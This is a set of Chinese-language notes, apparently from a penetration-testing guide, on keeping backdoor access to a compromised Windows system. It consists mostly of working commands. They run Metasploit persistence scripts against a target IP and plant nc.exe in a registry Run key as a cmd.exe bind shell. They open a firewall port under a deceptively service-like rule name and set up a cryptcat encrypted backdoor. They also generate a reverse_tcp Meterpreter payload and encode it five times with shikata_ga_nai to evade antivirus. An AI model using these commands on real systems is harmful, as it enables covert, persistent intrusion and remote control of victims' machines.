1.metsvc脚本
2.persistence 脚本
run persistence -X -i 10 -p 444 -r 目标ip
删除脚本
run multi_console_command -rc
3.使用Netcat 作为持久代理
在meterpreter 中输入:
upload/usr/share/windows-binaries/nc.exe c:\windows\system32
没有meterpreter链接,需要使用简单的文本传输协议。
接着,配置注册表。是系统运行,并启动netcat 。开启监听端口。
setval -k
hklm\software\microsoft\windows\currentversion\run -d 'c:\windwos\system32\nc.exe -ldp 444 -e cmd.exe'
使用queryval 来确定成功修改注册表
queryval -k
hklm\software\microsoft\windows\currentversion\run -v
使用netsh命令、打开一个链接到本地防火墙的端口,确保被入侵系统能够远程连接到netcat。
为了增加端口到本地防火墙,需要在meterpreter提示符后输入shell命令,然后使用适当的命令规则。当对规则进行命名时,比如svchostpassthrough,名字应该暗示此规则对系统的正常运行有重要作用。示例命令显示如下。
netsh firewall add portopening TCP 444 "service passthrough"
用如下命令确认修改成功:
netsh firewall show portopening
当端口规定确定后,确保重启选项启动。
在meterpreter 中输入:reboot
在windows shell中输入: shutdown -r -t 00
为了远程接入被入侵系统,在命令提示符下输入nc,表示连接的详细程度(参数-v表示报告基本信息,参数-vv表示报告更多详细的信息),然后输入目标的IP地址和端口号
nc -v ip +端口
不幸的是,在使用Netcat时存在一些限制:没有认证机制,对传输的数据没有加密,几乎能够被所有的反病毒软件检测到。
可以用cryptcat来加密,cryptcat是Netcat的变体。在攻击者与被入侵系统的传输中,它运用Twofish算法加密数据。Twofish加密算法是由Bruce Schneier提出的一种高级对称分组加密算法,可以为加密的数据提供强有力的保护。
使用cryptcat,确保有一个准备好的监听者,并配置强壮的密码,使用如下命令进行配置:
cryptcat -k password -l -p 444
接下来,上传cryptcat到被入侵的系统,使用如下命令进行配置,使其连接到监听者的IP地址:
C: crytcat -k password <listener ip address> 444
使用metasploit框架创建一个独立持久代理:
msfpayload windows/meterpreter/reverse_tcp lhost=本地ip lport=4444 x >/root/attack.exe
使用编码之前准本好的attack.exe
shikata_ga_nai编辑器:
msfencode -i attack.exe -o encoded_attack.exe -e x86/shikata_ga_nai -c 5 -t exe
使用shikata_ga_nai协议,对attack.exe代理进行五次编码。每一次都是对上一次结果的重新编码,这样就更难侦测到。但是,可执行文件的大小也在增加。